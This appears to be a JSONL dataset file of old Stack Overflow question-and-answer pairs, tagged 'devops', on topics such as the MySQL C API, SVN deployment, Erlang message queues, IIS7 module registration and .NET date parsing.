{"id": "hf_20b98b7a7be3", "question": "<p>Does anyone know of a simple way for a C++ program to communicate directly with a MySQL database?  I have looked at MySQL++ and found it to be very confusing.  If anyone knows of a very simple way of doing this, please let me know.</p>\n\n<p>Thanks</p>\n\n<p>P.S. I am developing on a Windows machine.  PHP and MySQL web web application setup.  C++ setup to talk to the serial port.  Thus why I need a way for C++ to talk to the MySQL database directly.</p>\n", "question_body": "", "answer": "Use the C API:\nhttp://dev.mysql.com/doc/refman/5.0/en/c.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:59.704532"}
{"id": "hf_7bec5da6f905", "question": "<p>Im thinking of updating my practices, and looking for a little help and advice!</p>\n\n<p>I do a lot of work on sites that run joomla, oscommerce, drupal etc and so I have created a lot of custom components/plugins and hacks etc. Currently each site has its own folder on my xampp setup.  What I would like to do is have a default setup of (for example) a Joomla setup and when I make changes updates, I can do something which updates all the other folders that contain joomla, almost like an auto update?</p>\n\n<p>Im also looking at using Aptana IDE more and SVN service such as <a href=\"http://unfuddle.com/\" rel=\"nofollow noreferrer\">unfuddle</a> to share my work with others, but I have not used SVN before and not sure if its possible to do the above using SVN?</p>\n\n<p>It would be great to be able to work on a main/core item and send the updates to both local updates and to actual servers, without having to maintain lots of different individual sites.</p>\n\n<p>Suggestions?</p>\n", "question_body": "", "answer": "Yes, SVN would be a great tool for this purpose. Store your code (eg: a custom Joomla component) in source control. Wherever you want to use that component, just do a\n```\ncheckout\n```\nor\n```\nexport\n```\nof that particular folder into your live site. Here's one way you could structure your repository:\n```\nunfuddle.com/myRepo/trunk/com_myComponent\nunfuddle.com/myRepo/trunk/com_anotherComponent\n```\nLog in to your live server via SSH and run this command:\n```\n> cd path/to/joomla/components\n> svn co http://unfuddle.com/myRepo/trunk/com_myComponent\n```\nAny time you change your code, commit the changes and then log back into the server and run:\n```\n> cd path/to/joomla/components\n> svn up com_myComponent\n```\nA real benefit of this is that should you do an update and break something, you can always roll it back to the last known \"good\" version.\nAs for automating this process, you might be out of luck if it's on different servers. For multiple deployments on the same server, you could quite easily write a shell script to run the above commands for each site/component. If you needed this to be fully automated, you could even set up a cron job to run this script every day at 2am or something - personally I'd stick with the manual approach, but it's still an option.\nFor working locally with your SVN repositories, I'd recommend looking at\nTortoiseSVN\n(if you're on Windows): it's the simplest and easiest way to work with SVN.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:59.763178"}
{"id": "hf_e370bbd375a5", "question": "<p>As a hobby project I am currently trying to create a small browser-based game - and I thought it would be the \"right thing\" to code it using the MVC pattern, separating the game's \"engine\" from presentation. It would be a simple \"rpg\" game, where the player's character wander the world fighting monsters and gathering items.</p>\n\n<p>My problem is that I got stuck with the engine's structure. In the current design most of the engine is dominated by the \"player's character\" object - there are such things as location, monster or item, but it is a character that does most of the actions: travels, attacks, buys items etc. I know there are probably other ways to design such engine, but somehow I can't figure it out, so I'm asking for some tips or advices here.</p>\n\n<p>Oh, and the server backend will be php+mysql, if that in any way matters.</p>\n", "question_body": "", "answer": "\"but it is a character that does most of the actions:\"\nYes, but...\nFirst, separate the human user (\"player\") from their character.  The character is not the player.\nYou have a large number of objects.  Locations, passive things, active things (monsters), and the character.  They all interact with each other.\nYou have to isolate responsibility completely.  The character doesn't dominate, the character merely participates.\nYou'll find it more pleasant if you define each possible human-player action as a\nCommand\n.  Each subclass of\nCommand\ncan make a change to the state of the model.  Things move, monsters move, the character moves (character, not player.)\nPicking something up or laying it down are each a subclass of\nCommand\nthat moves a thing from character to location or location to character.  The player issues the command; the command updates the location, item and character.\nThe Character is passive.  Things are mostly passive.  Locations are mostly passive.  The Command objects have algorithms to update the state and association among all the various things in your model.\nIf you want to carry this a step further, each\nCommand\ncan be a\nMemento\nwith an undo capability as well as a do capability.  Then the history of the game is a history of these\nMementos\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:59.799111"}
{"id": "hf_588f87448a3e", "question": "<p>How can I bring my WPF application to the front of the desktop? So far I've tried:</p>\n\n<pre><code>SwitchToThisWindow(new WindowInteropHelper(Application.Current.MainWindow).Handle, true);\n\nSetWindowPos(new WindowInteropHelper(Application.Current.MainWindow).Handle, IntPtr.Zero, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);\n\nSetForegroundWindow(new WindowInteropHelper(Application.Current.MainWindow).Handle);\n</code></pre>\n\n<p>None of which are doing the job (<code>Marshal.GetLastWin32Error()</code> is saying these operations completed successfully, and the P/Invoke attributes for each definition do have <code>SetLastError=true</code>).</p>\n\n<p>If I create a new blank WPF application, and call <code>SwitchToThisWindow</code> with a timer, it works exactly as expected, so I'm not sure why it's not working in my original case.</p>\n\n<p><strong>Edit</strong>: I'm doing this in conjunction with a global hotkey.</p>\n", "question_body": "", "answer": "Well I figured out a work around. I'm making the call from a keyboard hook used to implement a hotkey. The call works as expected if I put it into a BackgroundWorker with a pause. It's a kludge, but I have no idea why it wasn't working originally.\n```\n```\nvoid hotkey_execute()\n{\n    IntPtr handle = new WindowInteropHelper(Application.Current.MainWindow).Handle;\n    BackgroundWorker bg = new BackgroundWorker();\n    bg.DoWork += new DoWorkEventHandler(delegate\n        {\n            Thread.Sleep(10);\n            SwitchToThisWindow(handle, true);\n        });\n    bg.RunWorkerAsync();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:59.826010"}
{"id": "hf_4e8b6ddfa9ff", "question": "<p>In my web application, I need to log all the SOAP messages to my SQL 2005 database whenever I make a web service call to my business partners' web service. How do I accomplish that?</p>\n\n<p>Thanks in Advance,</p>\n\n<p>Tony</p>\n", "question_body": "", "answer": "You haven't specified what language you are using but assuming C# / .NET you could use\nSOAP extensions\nto get the SOAP content as a string and then use a simple INSERT to add to an arbitrary DB table.\nThere are probably far more elegant methods but I've implemented the above and it works fine.\nJust remember to have a large column size in the DB table since the SOAP output could potentially be large.\nNote: seems to be a bug in stackoverflow - the URL is:\nhttp://msdn.microsoft.com/en-us/library/esw638yk(VS.71).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:59.848988"}
{"id": "hf_a9351604c282", "question": "<p>Having a problem trying to create a function, as part of a BizTalk helper class that returns a value of type (Microsoft.XLANGs.BaseTypes.XLANGMessage). The function code is as follows:</p>\n\n<pre><code>public XLANGMessage UpdateXML (XLANGMessage inputFile)\n{\n   XmlDocument xDoc = new XmlDocument();\n   XLANGMessage outputFile;\n   xDoc = (System.Xml.XmlDocument) inputFile[0].RetrieveAs(typeof(System.Xml.XmlDocument));\n\n   // Modify xDoc document code here\n\n   outputFile[0].LoadFrom(xDoc.ToString());\n   return outputFile;\n}\n</code></pre>\n\n<p>This code does not build as I receive an error stating \"Use of unassigned local variable\n'outputFile'. I have tried to initialize the 'outputFile' using the new keyword ( = new ....), but that also results in a build error.</p>\n\n<p>What am I doing wrong?</p>\n", "question_body": "", "answer": "In the code you have provided, change the line:\n```\n```\nXLANGMessage outputFile;\n```\n```\nto:\n```\n```\nXLANGMessage outputFile = null;\n```\n```\nand change the\n```\nTypeOf\n```\nto\n```\ntypeof\n```\nYou might want to take a look at these two blog articles\nhere\nand\nhere\nthat both mention some better ways of doing this including passing classes based on your xsd instead of the XLANGMessage, and using a stream instead of the\n```\nXMLDocument\n```\n.\nAfter doing a quick once over with this (because I had a bad feeling) I'm not sure if BizTalk will consume the returned\n```\nXLANGMessage\n```\nthe way you are trying. It fails with an unconstructed error when I try to use it in my test harness. Later tonight when I have some free time I'll see if there is an easy way to use the\n```\nXLANGMessage\n```\ndirectly in orchestration shapes. Add a comment if you manage to get it working before I update.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:59.930602"}
{"id": "hf_cd1ae41b94d6", "question": "<p>I have a program that uses save files. It needs to load the newest save file, but fall back on the next newest if that one is unavailable or corrupted. Can I use the windows file creation timestamp to tell the order of when they were created, or is this unreliable? I am asking because the \"changed\" timestamps seem unreliable. I can embed the creation time/date in the name if I have to, but it would be easier to use the file system dates if possible.</p>\n", "question_body": "", "answer": "If you have a directory full of arbitrary and randomly named files and 'time' is the only factor, it may be more pointful to establish a filename that matches the timestamp to eliminate need for using tools to view it.\n```\n```\n2008_12_31_24_60_60_1000\n```\n```\nWould be my recommendation for a flatfile system.\nSometimes if you have a lot of files, you may want to group them, ie:\n```\n```\n2008/\n2008/12/\n2008/12/31\n2008/12/31/00-12/\n2008/12/31/13-24/24_60_60_1000\n```\n```\nor something larger\n```\n```\n2008/\n2008/12_31/\n```\n```\netc etc etc.\n( Moreover, if you're not embedding the time, what is your other distinguishing characteritics, you cant have a null file name, and creating monotonically increasing sequences is way harder ?  need info )", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.023798"}
{"id": "hf_55c2a85c922d", "question": "<p>As I don't use vi all that much and certainly not for my primary editor, I can't remember any of the vi commands.  Does anyone have a recommendation for a quick start guide or command summary?</p>\n", "question_body": "", "answer": "type\n```\nvim-tutor\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.051279"}
{"id": "hf_80f71682301b", "question": "<p>I am using Structure map like the MVC storefront by Rob Conery does and I have an AdminController and so to get to it I just type:</p>\n\n<pre><code>website/Admin/action\n</code></pre>\n\n<p>however if I miss spell the controller name I get the error below:</p>\n\n<p>Exception Details: System.ArgumentNullException: Value cannot be null.\nParameter name: key</p>\n\n<p>There error occurs on this line:</p>\n\n<pre><code>Controller controller = ObjectFactory.GetInstance(controllerType) as Controller;\n</code></pre>\n\n<p>Does anyone have any ideas on how I can handle this error or not allow it to happen at all and maybe just goto a 404 page??</p>\n\n<p>Cheers in advance</p>\n", "question_body": "", "answer": "You have a couple different options (or if you want, two things you can combine for a solution).  To remove some of the potential problems between the chair and address bar you can\nimplement a SoundEx solution\nin C#\nusing the new routing framework to potentially capture some misspellings and re-route them to the expected URL (and/or add routes for what you believe common misspellings or requests will be).  This, however, isn't a solution that will fully solve the problem so you'll need to\nlook in to implementing custom error pages\nfor your application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.177706"}
{"id": "hf_98fb52e083ff", "question": "<p>I recently switched my hosting provider and due to the time zone that the server is now in, my code has stopped working. </p>\n\n<p>The hosting server reports in Pacific time, However, my code needs to work with GMT as my site is for the UK market. So, all my displays and searches need to be in the format dd/MM/yyyy</p>\n\n<p>How can I account for the difference? </p>\n\n<p>For instance, when I do a DateTime.Parse(\"03/11/2008\") it fail as I assume the 'Parse' is against the servers settings. I also get \"String was not recognized as a valid DateTime.\" throughout my code. </p>\n", "question_body": "", "answer": "Try\n```\n```\nDateTime.Parse(\"28/11/2008\", new CultureInfo(\"en-GB\"))\n```\n```\nHave a look at\nthe overload for DateTime.Parse on MSDN\n.\nAlso, be careful not to confuse time zones (pacific, GMT) with cultures.\nCultures are your actual problem here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.204638"}
{"id": "hf_a49cd9038721", "question": "<p>I'm trying to add an header file to dev-C++ but when I compile it it doesn't work.\nHere are my exact steps (for my example, I'm trying to get mysql.h to work):</p>\n\n<ol>\n<li>copy \"mysql.h\" into c:\\dev-c++\\includes</li>\n<li>check that in dev-C++ tools > compiler options > directories > c includes and c++ includes have the path to \"c:\\dev-c++\\includes\"</li>\n<li>include #include  at the top of my file</li>\n<li>compiled</li>\n</ol>\n\n<p>This is what the dev-C++ compiler told me:</p>\n\n<pre><code>13 C:\\Documents and Settings\\Steve\\Desktop\\server code\\setup1\\main.c `mysql' undeclared (first use in this function) \n</code></pre>\n\n<p>As well as other errors due to not locating the header file</p>\n\n<p>Are the steps I've outlined correct? Or is there something else I need to do to get the header files to compile.</p>\n\n<p>P.S. I tried doing the same with VS2008 (put mysql.h in the vs2008 include folder, etc)\nbut still have the same error.  I would like to stick with Dev-c++ if possible.</p>\n", "question_body": "", "answer": "You didn't say how you included it at the top of your file. This should work if you did\n```\n```\n#include \"mysql.h\"\n```\n```\nrather than\n```\n```\n#include <mysql>\n```\n```\nwhich is a mistake that people sometimes make.\nEDIT: Perhaps try using relative paths rather than an absolute path (as you seem to be doing) when specifying additional include directories? I don't know if that would make a difference (and I don't have the time to check) but I've always used relative paths and it's always worked for me (it's also good practice anyway). So, instead of\nC:\\Projects\\ProjectName\\Include\nsomething like\n\\Include or ..\\Include depending on your project file structure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.228491"}
{"id": "hf_48955b7772e2", "question": "<p>I wrote a C++ project in VS2005, and used lots of STL container with its plus-in STL. However, I found STL in VS2005 does not have a hash_map in it, I want to use SGI hash_map. How can I change my project to use SGI STL?</p>\n\n<p>Thanks for Brian's method, it works! And it's simple.</p>\n", "question_body": "", "answer": "VS2005 does have a hash_map:\n```\n```\n#include <hash_map>\nstdext::hash_map\n```\n```\nIf you still want to though you can\ndownload the sgi stl here\n.  You should be able to just set the include directory to the sgi location.  It will take precedence over the VC++ global include directories.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.251769"}
{"id": "hf_894f59fca213", "question": "<p>Previously, I asked the <a href=\"https://stackoverflow.com/questions/79136/how-do-i-create-a-container-file\">question</a>.</p>\n\n<p>The problem is the demands of our file structure are very high.</p>\n\n<p>For instance, we're trying to create a container with up to 4500 files and 500mb data.</p>\n\n<p>The file structure of this container consists of </p>\n\n<ul>\n<li>SQLite DB (under 1mb)</li>\n<li>Text based xml-like file \n<li><p>Images inside a dynamic folder structure that make up the rest of the 4,500ish files</p></li>\n<li><p>After the initial creation the images files are read only with the exception of deletion.</p></li>\n<li>The small db is used regularly when the container is accessed.</li>\n</ul>\n\n<p>Tar, Zip and the likes are all too slow (even with 0 compression). Slow is subjective I know, but to untar a container of this size is over 20 seconds.</p>\n\n<p>Any thoughts?</p>\n", "question_body": "", "answer": "Working on the assumption that you're only going to need read-only access to the files why not just merge them all together and have a second \"index\" file (or an index in the header) that tells you the file name, start position and length. All you need to do is seek to the start point and read the correct number of bytes. The method will vary depending on your language but it's pretty straight forward in most of them.\nThe hardest part then becomes creating your data file + index, and even that is pretty basic!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.334228"}
{"id": "hf_8c186325c98a", "question": "<p>I want to force Apache to use HTTPS for a particular URL in the following form:</p>\n\n<pre><code>https://www.example.com/signup/*\n</code></pre>\n\n<p>so</p>\n\n<p>if someone goes to any of the following example URLs directly, Apache will forward the URL over to the HTTPS equivalent site.</p>\n\n<p>e.g.</p>\n\n<pre><code>http://www.example.com/signup  --&gt;  https://www.example.com/signup\nhttp://www.example.com/signup/basic+plan  --&gt;  https://www.example.com/signup/basic+plan\nhttp://www.example.com/signup/premium  --&gt;  https://www.example.com/signup/premium \n</code></pre>\n\n<p>Anyone know how?</p>\n\n<p>Thanks in advance</p>\n", "question_body": "", "answer": "You should take a look at\nmod_rewrite\ndocumentation", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.394128"}
{"id": "hf_9aa95f66680a", "question": "<p>Can you provide examples of applications today that are procedural and maintain a high level of integrity and efficiency? Are there any books, tutorials or links that provide examples of how to successfully build and maintain an imperative system? If you were to give guidance in this area, what tips would you give on how it should be structured? I ask because OOP is often presented as a natural progression of procedural programming, but I have trouble believing that is always the case.</p>\n", "question_body": "", "answer": "While I cant point toward any existing system directly, there are massive amounts of legacy enterprise systems written pre-OO COBOL. Many classic 4GL programs are procedural and are aimed at high integrity systems engineering. Some are well written, others not so much.\nBooks include \"COBOL from Micro to Mainframes\", \"Enterprise COBOL Programming Guide.\"\nStructural tips on good imperative code are similar to OO techniques: name things well, seperate your concerns, dont repeat yourself, single responsibility principle, dont leave broken windows unmended.\nIn fact I'd simply suggest reading the \"Pragmatic Programmer\" would give most people the right idea in any paradigm.\nAs far as a compelling reason for moving to OO for business oriented applications; procedural languages allow for a\ntransaction script\napproach to domain logic, whereas OO languages allow for the\ndomain model\napproach.\nCertainly for simple exercises, there is no real need for the use of OO languages, but as soon as complexity rises, the maintainability of OO languages wins over procedural languages low overhead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.417110"}
{"id": "hf_7ceab4a5c931", "question": "<p>I'm using this script to display all the images in a folder, but I can't figure out how to get each image's file name to display underneath it. Any suggestions?</p>\n\n<pre><code>&lt;?php\n\n$dirname = \"images\";\n$images = scandir($dirname);\n$ignore = Array(\".\", \"..\", \"otherfiletoignore\");\n\nforeach($images as $curimg){\n    if (!in_array($curimg, $ignore)) {\n        echo \"&lt;img src='images/$curimg' /&gt;&lt;br /&gt;\\n\";\n    }\n} \n?&gt;\n</code></pre>\n", "question_body": "", "answer": "```\n```\necho \"<img src='images/$curimg' /><br />$curimg<br />\\n\";\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.455049"}
{"id": "hf_44ee57be8357", "question": "<p>I have seen lots of chat examples in Erlang but what about lists, like a work queue?  If I want to build a work queue system, like a project management system, is it possible to re-order messages in a process mailbox or do I have to use message priorities?  Are there examples of workflow systems built in Erlang?</p>\n", "question_body": "", "answer": "You cannot reorder messages in process message queues in Erlang.\nYou can, however do selective receives in which you can receive the message you deem most important first. It's not entirely the same but works for most purposes.\nHere's an example:\n```\n```\nreceive\n    {important, Msg} ->\n        handle(Msg)\nafter 0 ->\n    ok\nend,\nreceive\n    OtherMsg ->\n        handle(Msg)\nend\n```\n```\nIt differs from:\n```\n```\nreceive\n    {important, Msg} ->\n        handle(Msg);\n    OtherMsg ->\n        handle(Msg)\nend\n```\n```\nIn that it will always scan the whole message queue for\n```\n{important, Msg}\n```\nbefore continuing handling the rest of the messages. It means that those kinds of messages will always be handled before any others, if they exist. This of course comes at some performance cost (it takes more time scanning the whole queue twice).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.478429"}
{"id": "hf_b883641c85fe", "question": "<p>The activity monitor in sql2k8 allows us to see the most expensive queries. Ok, that's cool, but is there a way I can log this info or get this info via query analyser? I don't really want to have the Sql Management console open and me looking at the activity monitor dashboard.</p>\n\n<p>I want to figure out which queries are poorly written/schema is poorly designed, etc.</p>\n\n<p>Thanks heaps for any help!</p>\n", "question_body": "", "answer": "Would the SQL Server Profiler do what you need?  I haven't used 2008 yet so I don't know if the tool is still in there but if it is I believe you can set up a trace to log queries that meet specific criteria (such as those that execute and drive CPU up above a certain threshold).\nWe've used this on our project and it did a pretty good job of helping us troubleshoot poorly executing queries (though don't leave it on full time, rely on the general Windows Performance Counters for performance health tracking).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.503305"}
{"id": "hf_580bd4c1999d", "question": "<p>I work in a shop that is certified at CMMI level 5.  This certification is important because it gives us access to certain customers and contracts.  I'm looking at how to blend Scrum with CMMI.  I've found some info on mixing Scrum with CMMI-3, but quite a bit of it is \"hand wavy\" and wouldn't hold up to intense scrutiny.  Specifically, the organizational KPAs seem challenging.</p>\n\n<p>What experiences have you had (good and bad) mixing the two processes?</p>\n", "question_body": "", "answer": "Here is an\nexperience report on the results of introducing Scrum into a CMMI Level 5 environment to replace waterfall projects for large defense and healthcare contracts\n(pdf).\nAbstract:\nProjects combining agile methods with\n  CMMI1 are more successful in producing\n  higher quality software that more\n  effectively meets customer needs at a\n  faster pace. Systematic Software\n  Engineering works at CMMI level 5 and\n  uses Lean Software Development as a\n  driver for optimizing software\n  processes. Early pilot projects at\n  Systematic showed productivity on\n  Scrum teams almost twice that of\n  traditional teams. Other projects\n  demonstrated a story based test driven\n  approach to software development\n  reduced defects found during final\n  test by 40%. We assert that Scrum and\n  CMMI together bring a more powerful\n  combination of adaptability and\n  predictability than either one alone\n  and suggest how other companies can\n  combine them.\nHTH,", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.526870"}
{"id": "hf_4458e68ee0e9", "question": "<p>Most statistics out there for browser stats show you the resolution of the screen.</p>\n\n<p>Thats fine for Windows where browsers typically open full screen and most people leave it as that. So if the browser stats say 1024x768 you just need to subtract a little width for the browser chrome.</p>\n\n<p>On a Mac however browsers typically dont open full screen.</p>\n\n<p>What kind of width is a mac browser likely to be when it opens as such.</p>\n\n<p>I'm thinking of a width of 960 as recommended by <a href=\"https://stackoverflow.com/questions/202557/what-is-the-best-absolute-width-for-a-webpage\">what-is-the-best-absolute-width-for-a-webpage</a>. However I'm wondering if this is equally as good width for a mac?</p>\n\n<p>I'm not sure when Apple last made 1280x768 laptops or screens anyway so its probably a non issue. It just frustrates me a little that most places I find statistics on screen resolution dont show you the actual available width.</p>\n", "question_body": "", "answer": "Design away, my friend. The Apple display packs many pixels.\nA window\nwill open to fullscreen\non the Mac, no problem.  It simply conserves space when it can, unlike the PC behavior, which will fill the screen regardless of how much space the site actually needs.\nIn other words, the case where the Mac doesn't open the window fullscreen is the case where the user has\nroom to spare\n.  So those are cases you don't need to worry about. If a Mac OS browser has to go fullscreen to fit the site, it will.  But when the site is only 960px and the user has a gorgeous\n2560x1600 cinema display\n, it will stop at 960, enough to eliminate the horizontal scrollbars.\nThe reason people notice this behavior is because apple displays are often too big, so the fullscreen is often not needed. The\nsmallest\ndisplay Apple ships on any notebook is a roomy\n1280x800\n.  The smallest iMac is already\n1680x1050\n. They only get bigger from there.\nAs far as choosing your dimensions, the normal considerations apply.  Play to your\nlowest common denominator\n.  Simply know that the screen resolution of even a modest apple display will be on par with the industry standard.  If you're willing to go 990 or 960 for the PC, it will\nalso be acceptable for the Mac\n.\n(source:\nakamai.net\n)\nMost of the designers I work with are more concerned with making designs\ntoo narrow\nfor Apple users.  They design in the 960 pixel realm so that it works for the larger audience, and then they try to find creative ways of showing a little extra love to the owners of that giant cinema display.\nSidenote:\n@Taylor Marshall asks a good question: \"What if the widths are all set to 100%? How big does [the browser window] get..?\"\nWithout any constraints, Firefox will simply go fullscreen, like the MS Windows behavior.  Safari will expand up to a width of 800px, unless the width is already greater than 800, in which case it maintains that width and only modifies the window height. Of course, if there aren't any hard width values, then the design is a liquid layout, so the concern about designing for a particular width is somewhat altered.  Usually good liquid layouts, despite being displayed correctly at any dimension, are nonetheless designed to be viewed at reasonable window widths.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.562757"}
{"id": "hf_3f43acddedd1", "question": "<p>Before anyone recommends that I do a google search on this, I have. I just need a bit more clarity around what codepages and encodings.</p>\n\n<p>If I use UTF8 encoding, and use an italian code page and then a french code page, does this mean ill get different characters even though the bytes havent changed?</p>\n", "question_body": "", "answer": "Joel has a nice summary of this:\nhttp://www.joelonsoftware.com/articles/Unicode.html\nAnd no. if I understand your question correctly it doesn't mean that.\nWhen you're converting UTF-8 to a specific code page, it is possible that only some of the characters are going to be converted. What happens to the ones that don't get converted depends on how you call the conversion. A possible result is that the characters which could not be mapped to the code page would be converted to question mark characters.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.598742"}
{"id": "hf_673aeed5c075", "question": "<p>How can I make the command button in my VC++ 6.0 dialog visible or invisible on load?</p>\n", "question_body": "", "answer": "What do you mean by 'commnad button' exactly ?\nAnyway, you need to obtain the handle of the button then call ShowWindow function:\n```\n```\nBOOL prevState = ShowWindow( itemHandle, SW_HIDE );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.682388"}
{"id": "hf_a444e9d70057", "question": "<p>I am using windsor DI framework in one of my MVC project. The project works fine when I tried to run from Visual Studio 2008.</p>\n\n<p>But when i tried to run the project creating an application in IIS7 then I recieved the following error message:</p>\n\n<blockquote>\n  <p>Looks like you forgot to register the http module\n  Castle.MicroKernel.Lifestyle.PerWebRequestLifestyleModule Add '&lt;add\n  name=\"PerRequestLifestyle\"\n  type=\"Castle.MicroKernel.Lifestyle.PerWebRequestLifestyleModule,\n  Castle.MicroKernel\" /&gt;' to the  section on your\n  web.config</p>\n</blockquote>\n\n<p>But this module already exists in the httpmodule section of web.config file.</p>\n\n<p>Does anyone know what I have to do to eliminate this problem.</p>\n", "question_body": "", "answer": "Try adding it to the\n```\nsystem.webServer\n```\nsection as well?\n```\n```\n<configuration>\n    <system.web>\n        <httpModules>\n            <add name=\"PerRequestLifestyle\" type=\"...\" />\n        </httpModules>\n    </system.web>\n    <system.webServer>\n        <modules>\n            <add name=\"PerRequestLifestyle\" type=\"...\" />\n        </modules>\n    </system.webServer>\n</configuration>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.704320"}
{"id": "hf_4b2a5ee691bb", "question": "<p>I've read the description of \"functionoids\" <a href=\"https://isocpp.org/wiki/faq/pointers-to-members#functionoids\" rel=\"nofollow noreferrer\">here</a>. They look like a poor-man's version of Boost::function and Boost::bind. Am I missing something? Is there a good reason to use them if you're already using Boost?</p>\n", "question_body": "", "answer": "No.\nAlternatively see the FQA answer\nhere.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.731715"}
